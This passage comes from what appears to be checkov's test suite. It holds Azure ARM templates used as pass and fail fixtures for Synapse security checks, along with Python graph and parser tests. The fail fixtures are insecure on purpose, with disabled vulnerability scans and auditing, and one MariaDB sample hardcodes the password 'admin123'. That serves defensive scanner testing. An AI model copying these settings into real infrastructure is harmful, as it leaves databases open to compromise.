    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"[parameters('skuTier')]\",\n          \"capacity\": \"[parameters('skuCapacity')]\"\n        }\n      }\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\"\n    },\n    \"sqlPoolName\": {\n      \"type\": \"string\"\n    },\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"skuName\": {\n      \"type\": \"string\"\n    },\n    \"skuTier\": {\n      \"type\": \"string\"\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasSecurityAlertPolicy/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"pass\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"DW200c\",\n          \"tier\": \"Dedicated\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers/securityAlertPolicies\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[concat(parameters('sqlServerName'), '/', 'Default')]\",\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"emailAccountAdmins\": true,\n        \"emailAddresses\": [\n          \"admin@example.com\"\n        ],\n        \"disabledAlerts\": [],\n        \"retentionDays\": 0\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', parameters('workspaceName'), parameters('sqlPoolName'))]\"\n      ]\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"defaultValue\": \"pass\",\n      \"type\": \"string\"\n    },\n    \"sqlPoolName\": {\n      \"type\": \"string\"\n    },\n    \"skuName\": {\n      \"type\": \"string\"\n    },\n    \"skuTier\": {\n      \"type\": \"string\"\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\"\n    },\n    \"sqlServerName\": {\n      \"type\": \"string\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasVulnerabilityAssessment/expected.yaml",
    "content": "pass:\n  - \"Microsoft.Synapse/workspaces/sqlPools.pass\"\nfail:\n  - \"Microsoft.Synapse/workspaces/sqlPools.fail1\"\n  - \"Microsoft.Synapse/workspaces/sqlPools.fail2\"\nevaluated_keys:\n  - 'properties/recurringScans/isEnabled'\n  - 'resource_type'\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasVulnerabilityAssessment/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"[parameters('workspaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"[parameters('dataLakeStorageAccountUrl')]\",\n          \"filesystem\": \"[parameters('dataLakeStorageFileSystem')]\"\n        },\n        \"sqlAdministratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"sqlAdministratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"managedVirtualNetwork\": \"[parameters('managedVirtualNetwork')]\",\n        \"managedResourceGroupName\": \"[parameters('managedResourceGroupName')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"tier\": \"[parameters('skuTier')]\",\n          \"capacity\": \"[parameters('skuCapacity')]\"\n        },\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"maxSizeBytes\": \"268435456000\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces', parameters('workspaceName'))]\"\n      ]\n    }\n  ],\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the Synapse workspace\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Location for the Synapse workspace\"\n      }\n    },\n    \"dataLakeStorageAccountUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"URL of the Data Lake Storage account\"\n      }\n    },\n    \"dataLakeStorageFileSystem\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the file system in the Data Lake Storage account\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SQL administrator login password\"\n      }\n    },\n    \"managedVirtualNetwork\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Managed virtual network\"\n      }\n    },\n    \"managedResourceGroupName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Managed resource group name\"\n      }\n    },\n    \"sqlPoolName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the SQL pool\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SKU name for the SQL pool\"\n      }\n    },\n    \"skuTier\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SKU tier for the SQL pool\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"SKU capacity for the SQL pool\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasVulnerabilityAssessment/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"workspaceName2\",\n      \"location\": \"location\",\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"dataLakeStorageAccountUrl\",\n          \"filesystem\": \"dataLakeStorageFileSystem\"\n        },\n        \"sqlAdministratorLogin\": \"sqlAdministratorLogin\",\n        \"sqlAdministratorLoginPassword\": \"sqlAdministratorLoginPassword\",\n        \"managedVirtualNetwork\": \"managedVirtualNetwork\",\n        \"managedResourceGroupName\": \"managedResourceGroupName\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"fail2\",\n      \"location\": \"location\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"skuName\",\n          \"tier\": \"skuTier\",\n          \"capacity\": \"skuCapacity\"\n        },\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"maxSizeBytes\": \"268435456000\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces', workspaceName2)]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers/vulnerabilityAssessments\",\n      \"apiVersion\": \"2021-02-01-preview\",\n      \"name\": \"[concat(workspaceName2, '/', fail2, '/default')]\",\n      \"properties\": {\n        \"recurringScans\": {\n          \"isEnabled\": false,\n          \"emailSubscriptionAdmins\": false\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', securityAlertPoliciesName2, fail2)]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers/securityAlertPolicies\",\n      \"apiVersion\": \"2021-02-01-preview\",\n      \"name\": \"securityAlertPoliciesName2\",\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"emailAccountAdmins\": true,\n        \"storageEndpoint\": \"[concat('https://', storageAccountName, '.blob.core.windows.net')]\",\n        \"storageAccountAccessKey\": \"[listKeys(resourceId('Microsoft.Storage/storageAccounts', storageAccountName), '2021-02-01').keys[0].value]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', fail2, fail2)]\"\n      ]\n    }\n  ],\n  \"parameters\": {\n  }\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseSQLPoolHasVulnerabilityAssessment/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"workspaceName\",\n      \"location\": \"location\",\n      \"properties\": {\n        \"defaultDataLakeStorage\": {\n          \"accountUrl\": \"dataLakeStorageAccountUrl\",\n          \"filesystem\": \"dataLakeStorageFileSystem\"\n        },\n        \"sqlAdministratorLogin\": \"sqlAdministratorLogin\",\n        \"sqlAdministratorLoginPassword\": \"sqlAdministratorLoginPassword\",\n        \"managedVirtualNetwork\": \"managedVirtualNetwork\",\n        \"managedResourceGroupName\": \"managedResourceGroupName\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/sqlPools\",\n      \"apiVersion\": \"2021-06-01\",\n      \"name\": \"pass\",\n      \"location\": \"location\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"skuName\",\n          \"tier\": \"skuTier\",\n          \"capacity\": \"skuCapacity\"\n        },\n        \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n        \"maxSizeBytes\": \"268435456000\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces', workspaceName)]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers/vulnerabilityAssessments\",\n      \"apiVersion\": \"2021-02-01-preview\",\n      \"name\": \"[concat(workspaceName, '/', pass, '/default')]\",\n      \"properties\": {\n        \"recurringScans\": {\n          \"isEnabled\": true,\n          \"emailSubscriptionAdmins\": true\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', securityAlertPoliciesName, pass)]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Sql/servers/securityAlertPolicies\",\n      \"apiVersion\": \"2021-02-01-preview\",\n      \"name\": \"securityAlertPoliciesName\",\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"emailAccountAdmins\": true,\n        \"storageEndpoint\": \"[concat('https://', storageAccountName, '.blob.core.windows.net')]\",\n        \"storageAccountAccessKey\": \"[listKeys(resourceId('Microsoft.Storage/storageAccounts', storageAccountName), '2021-02-01').keys[0].value]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces/sqlPools', pass, pass)]\"\n      ]\n    }\n  ],\n  \"parameters\": {\n  }\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseWorkspaceHasExtendedAuditLogs/expected.yaml",
    "content": "pass:\n  - \"Microsoft.Synapse/workspaces.pass\"\nfail:\n  - \"Microsoft.Synapse/workspaces.fail1\"\n  - \"Microsoft.Synapse/workspaces.fail2\"\nevaluated_keys:\n  - 'properties/state'\n  - 'resource_type'\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseWorkspaceHasExtendedAuditLogs/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01-preview\",\n      \"name\": \"fail1\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {},\n      \"resources\": []\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseWorkspaceHasExtendedAuditLogs/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the Azure Synapse Analytics workspace.\"\n      }\n    },\n    \"retentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 90,\n      \"metadata\": {\n        \"description\": \"Number of days to retain audit logs.\"\n      }\n    },\n    \"auditActionsAndGroups\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"DATA_READ\",\n        \"DATA_WRITE\",\n        \"DATA_DELETE\"\n      ],\n      \"metadata\": {\n        \"description\": \"Actions and groups to audit.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01-preview\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/extendedAuditingPolicies\",\n      \"apiVersion\": \"2021-06-01-preview\",\n      \"name\": \"[fail1, '/Default')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces', fail2)]\"\n      ],\n      \"properties\": {\n        \"state\": \"Disabled\",\n        \"retentionDays\": \"[parameters('retentionDays')]\",\n        \"auditActionsAndGroups\": \"[parameters('auditActionsAndGroups')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/resources/SynapseWorkspaceHasExtendedAuditLogs/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"workspaceName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the Azure Synapse Analytics workspace.\"\n      }\n    },\n    \"retentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 90,\n      \"metadata\": {\n        \"description\": \"Number of days to retain audit logs.\"\n      }\n    },\n    \"auditActionsAndGroups\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"DATA_READ\",\n        \"DATA_WRITE\",\n        \"DATA_DELETE\"\n      ],\n      \"metadata\": {\n        \"description\": \"Actions and groups to audit.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-06-01-preview\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/extendedAuditingPolicies\",\n      \"apiVersion\": \"2021-06-01-preview\",\n      \"name\": \"[concat(parameters('workspaceName'), '/Default')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Synapse/workspaces', pass)]\"\n      ],\n      \"properties\": {\n        \"state\": \"Enabled\",\n        \"retentionDays\": \"[parameters('retentionDays')]\",\n        \"auditActionsAndGroups\": \"[parameters('auditActionsAndGroups')]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/graph_builder/checks/test_yaml_policies.py",
    "content": "import warnings\nfrom pathlib import Path\nfrom typing import List\n\nfrom checkov.arm.graph_manager import ArmGraphManager\nfrom parameterized import parameterized_class\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n\n@parameterized_class(\n    PARAMETERIZED_GRAPH_FRAMEWORKS\n)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n\n        graph_manager = ArmGraphManager(db_connector=db_connector)\n        super().__init__(\n            graph_manager=graph_manager,\n            real_graph_checks_path=str(\n                Path(__file__).parent.parent.parent.parent.parent / \"checkov/arm/checks/graph_checks\"\n            ),\n            test_checks_path=\"\",\n            check_type=\"bicep\",\n            test_file_path=__file__,\n            args=args,\n        )\n\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_AzureSpringCloudConfigWithVnet(self):\n        self.go(\"AzureSpringCloudConfigWithVnet\")\n\n    def test_AzureMLWorkspacePublicNetwork(self):\n        self.go(\"AzureMLWorkspacePublicNetwork\")\n\n    def test_SynapseLogMonitoringEnabledForSQLPool(self):\n        self.go(\"SynapseLogMonitoringEnabledForSQLPool\")\n\n    def test_SynapseSQLPoolHasSecurityAlertPolicy(self):\n        self.go(\"SynapseSQLPoolHasSecurityAlertPolicy\")\n\n    def test_SynapseSQLPoolHasVulnerabilityAssessment(self):\n        self.go(\"SynapseSQLPoolHasVulnerabilityAssessment\")\n\n    def test_SynapseWorkspaceHasExtendedAuditLogs(self):\n        self.go(\"SynapseWorkspaceHasExtendedAuditLogs\")\n\n    def test_registry_load(self):\n        registry = self.get_checks_registry()\n        self.assertGreater(len(registry.checks), 0)\n\n    def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]):\n        evaluated_keys_results = results[0].check_result[\"evaluated_keys\"]\n        self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results)\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(CheckType.ARM)\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(\n                check_id=check[\"id\"],\n                check_name=check[\"name\"],\n                check_result=check_result,\n                code_block=[(0, \"\")],\n                file_path=entity.get(CustomAttributes.FILE_PATH),\n                file_line_range=[entity.get(\"__startline__\"), entity.get(\"__endline__\")],\n                resource=f\"{entity.get(CustomAttributes.RESOURCE_TYPE)}.{entity.get(CustomAttributes.BLOCK_NAME)}\",\n                entity_tags=entity.get(\"tags\", {}),\n                evaluations=None,\n                check_class=\"\",\n                file_abs_path=entity.get(CustomAttributes.FILE_PATH),\n            )\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n"
  },
  {
    "path": "tests/arm/graph_builder/test_local_graph.py",
    "content": "from pathlib import Path\nfrom unittest.mock import MagicMock\n\nfrom checkov.arm.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.arm.graph_builder.local_graph import ArmLocalGraph, ArmBlock\nfrom checkov.arm.graph_manager import ArmGraphManager\nfrom checkov.arm.graph_builder.graph_components.block_types import BlockType\nfrom checkov.arm.utils import get_files_definitions\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\n\nEXAMPLES_DIR = Path(__file__).parent.parent / \"examples\"\nEXPLICIT_DEPS_DIR = EXAMPLES_DIR / \"ExplicitDepsResources\"\nIMPLICIT_DEPS_DIR = EXAMPLES_DIR / \"ImplicitDepsResources\"\n\n\ndef test_graph_explicit_deps():\n    test_files = [str(EXPLICIT_DEPS_DIR / \"subnet.json\"),\n                  str(EXPLICIT_DEPS_DIR / \"storage.json\"),\n                  str(EXPLICIT_DEPS_DIR / \"interface.json\")]\n    definitions, _, _ = get_files_definitions(test_files)\n    test_graph = ArmLocalGraph(definitions)\n    test_graph.build_graph()\n\n    assert len(test_graph.vertices) == 6\n    assert len(test_graph.edges) == 5\n\n    assert len(test_graph.vertices_by_block_type[BlockType.RESOURCE]) == 6\n\n\ndef test_graph_implicit_deps():\n    test_files = [str(IMPLICIT_DEPS_DIR / \"subnet.json\"),\n                  str(IMPLICIT_DEPS_DIR / \"storage.json\"),\n                  str(IMPLICIT_DEPS_DIR / \"interface.json\")]\n    definitions, _, _ = get_files_definitions(test_files)\n    test_graph = ArmLocalGraph(definitions)\n    test_graph.build_graph()\n\n    assert len(test_graph.vertices) == 6\n    assert len(test_graph.edges) == 4\n\n    assert len(test_graph.vertices_by_block_type[BlockType.RESOURCE]) == 6\n\n\ndef test_graph_params_vars():\n    # given\n    test_file = EXAMPLES_DIR / \"container_instance.json\"\n    definitions, _, _ = get_files_definitions([str(test_file)])\n    local_graph = ArmLocalGraph(definitions=definitions)\n    # when\n    local_graph.build_graph(render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == 18\n    assert len(local_graph.edges) == 24\n\n    assert len(local_graph.vertices_by_block_type[BlockType.PARAMETER]) == 11\n    assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 4\n    assert len(local_graph.vertices_by_block_type[BlockType.VARIABLE]) == 3\n\n\ndef test_graph_from_file_def_and_graph_def():\n    # compare graph created from definition created by file and graph created by definition created from graph\n    # given\n    test_file = EXAMPLES_DIR / \"convert_def_test.json\"\n    definitions_from_file, _, _ = get_files_definitions([str(test_file)])\n    graph_manager = ArmGraphManager(db_connector=RustworkxConnector())\n\n    local_graph = graph_manager.build_graph_from_definitions(definitions=definitions_from_file, render_variables=False)\n\n    definition_from_graph, _= convert_graph_vertices_to_definitions(\n                vertices=local_graph.vertices,\n                root_folder=test_file,\n            )\n    local_graph_from_new_def = graph_manager.build_graph_from_definitions(definitions=definition_from_graph, render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == len(local_graph_from_new_def.vertices)\n    assert len(local_graph.edges) == len(local_graph_from_new_def.edges)\n\n\n    assert len(local_graph.vertices_by_block_type[BlockType.PARAMETER]) == len(local_graph_from_new_def.vertices_by_block_type[BlockType.PARAMETER])\n    assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == len(local_graph_from_new_def.vertices_by_block_type[BlockType.RESOURCE])\n    assert len(local_graph.vertices_by_block_type[BlockType.VARIABLE]) == len(local_graph_from_new_def.vertices_by_block_type[BlockType.VARIABLE])\n\ndef test_update_vertices_names():\n    graph = ArmLocalGraph(definitions={})\n\n    graph.vertices = [\n        ArmBlock(name=\"variables(name1)\", config={\"name\": \"updatedName1\"}, block_type=BlockType.RESOURCE, path='', attributes={}, id='1'),\n        ArmBlock(name=\"name2\", config={\"name\": \"name2\"}, block_type=BlockType.RESOURCE, path='', attributes={}, id='2'),\n        ArmBlock(name=\"name3\", config={}, block_type=BlockType.RESOURCE, path='', attributes={}, id='3')\n    ]\n    graph.vertices_by_name = {\"variables(name1)\": 0, \"name2\": 1, \"name3\": 2}\n\n    graph._update_resource_vertices_names()\n\n    assert graph.vertices[0].name == \"updatedName1\"\n    assert \"name1\" not in graph.vertices_by_name\n    assert graph.vertices_by_name[\"updatedName1\"] == 0\n    assert graph.vertices[1].name == \"name2\"\n    assert graph.vertices[2].name == \"name3\"\n\ndef test_update_vertices_configs():\n    graph = ArmLocalGraph(definitions={})\n    vertex = MagicMock()\n    vertex.changed_attributes = {\"attribute1\": \"value1\"}\n\n    graph.vertices = [vertex]\n\n    graph.update_vertex_config = MagicMock()\n\n    graph.update_vertices_configs()\n\n    graph.update_vertex_config.assert_called_once_with(vertex, ['attribute1'])\n\n\ndef test_update_config_attribute_dict():\n    config = {\"container\": {\"registry\": \"initialValue\"}}\n    ArmLocalGraph.update_config_attribute(config, \"container.registry\", \"newValue\")\n\n    assert config['container']['registry'] == \"newValue\"\n\ndef test_adjust_key_exists():\n    config = {\"container.registry\": \"value\"}\n    result = ArmLocalGraph.adjust_key(config, \"container\", [\"container\", \"registry\"])\n\n    assert result == (\"container.registry\", [\"container.registry\"])\n\ndef test_adjust_key_not_exists():\n    config = {}\n    result = ArmLocalGraph.adjust_key(config, \"none\", [\"none\", \"existent\"])\n\n    assert result == (\"none.existent\", [\"none.existent\"])"
  },
  {
    "path": "tests/arm/parser/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/parser/examples/json/mariadb.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"enabled\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        },\n        \"sslEnforcement\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/parser/examples/json/normal.json",
    "content": "{\n  \"id\": \"0001\",\n  \"type\": \"donut\",\n  \"name\": \"Cake\",\n  \"ppu\": 0.55,\n  \"batters\": {\n    \"batter\": [\n      {\n        \"id\": \"1001\",\n        \"type\": \"Regular\"\n      },\n      {\n        \"id\": \"1002\",\n        \"type\": \"Chocolate\"\n      },\n      {\n        \"id\": \"1003\",\n        \"type\": \"Blueberry\"\n      },\n      {\n        \"id\": \"1004\",\n        \"type\": \"Devil's Food\"\n      }\n    ]\n  },\n  \"topping\": [\n    {\n      \"id\": \"5001\",\n      \"type\": \"None\"\n    },\n    {\n      \"id\": \"5002\",\n      \"type\": \"Glazed\"\n    },\n    {\n      \"id\": \"5005\",\n      \"type\": \"Sugar\"\n    },\n    {\n      \"id\": \"5007\",\n      \"type\": \"Powdered Sugar\"\n    },\n    {\n      \"id\": \"5006\",\n      \"type\": \"Chocolate with Sprinkles\"\n    },\n    {\n      \"id\": \"5003\",\n      \"type\": \"Chocolate\"\n    },\n    {\n      \"id\": \"5004\",\n      \"type\": \"Maple\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/parser/examples/json/with_comments.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    /*\n      multi-line comment\n    */\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.DBforMariaDB/servers\",\n      \"location\": \"West Europe\",\n      \"name\": \"enabled\",\n      \"sku\": {\n        \"name\": \"B_Gen5_2\",\n        \"size\": \"5120\"\n      },\n      \"properties\": {\n        // single-line comment\n        \"version\": \"10.3\",\n        \"administratorLogin\": \"admin\",\n        \"administratorLoginPassword\": \"admin123\",\n        \"storageProfile\": {\n          \"storageMB\": \"5120\"\n        },\n        \"sslEnforcement\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/parser/test_parser.py",
    "content": "from pathlib import Path\n\nfrom checkov.arm.parser.parser import load, parse\n\nEXAMPLES_DIR = Path(__file__).parent / \"examples\"\n\ndef test_load_mariadb():\n    # given\n    file_path = EXAMPLES_DIR / \"json/mariadb.json\"\n\n    # when\n    template, file_lines = load(file_path)\n\n    # then\n    assert template[\"$schema\"] == \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\"\n    assert template[\"contentVersion\"] == \"1.0.0.0\"\n    assert len(file_lines) == 25\n\n\ndef test_load_not_arm_file():\n    # given\n    file_path = EXAMPLES_DIR / \"json/normal.json\"\n\n    # when\n    template, file_lines = load(file_path)\n\n    # then\n    assert template == {}\n    assert file_lines == []\n\n\ndef test_parse_arm_file_with_comments():\n    # given\n    file_path = EXAMPLES_DIR / \"json/with_comments.json\"\n\n    # when\n    template, file_lines = parse(str(file_path))\n\n    # then\n    assert template is None\n    assert file_lines is None\n"
  },
  {
    "path": "tests/arm/rendering/__init__.py",
    "content": ""
  },
  {
    "path": "tests/arm/rendering/test_rendering.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.5.6.12127\",\n      \"templateHash\": \"9027093124117826122\"\n    }\n  },\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"aci-vnet\",\n      \"metadata\": {\n        \"description\": \"VNet name\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Address prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"networkProfileName\": \"aci-networkProfile\",\n    \"location\": \"eth0\"\n\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2020-11-01\",\n      \"name\": \"[format('{0}/{1}', parameters('vnetName'), variables('networkProfileName'))]\",\n      \"location\": \"[variables('location')]\",\n      \"id\": \"[resourceId('Microsoft.Network/networkProfiles', variables('networkProfileName'))]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            